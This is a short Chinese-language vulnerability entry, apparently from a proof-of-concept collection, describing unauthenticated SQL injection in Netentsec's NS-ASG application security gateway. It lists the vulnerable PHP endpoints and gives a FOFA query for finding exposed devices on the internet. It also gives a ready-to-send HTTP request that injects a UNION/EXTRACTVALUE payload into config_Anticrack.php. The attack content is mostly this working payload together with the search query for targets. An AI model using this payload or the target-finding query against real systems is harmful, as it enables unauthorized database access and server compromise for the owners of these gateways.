# W3-6网康科技-NS-ASG应用安全网关-SQL

## 漏洞描述：

康科技 NS-ASG 应用安全网关 add_ikev2.php、config_ISCGroupNoCache.php、add_postlogin.php、config_Anticrack.php等接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

**网站图片：**


## 网络测绘：

**fofa语法：**

FOFA：app="网康科技-NS-ASG安全网关"

## 漏洞复现：

payload：

```
GET /admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+version()),0x7e)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:
查询数据库版本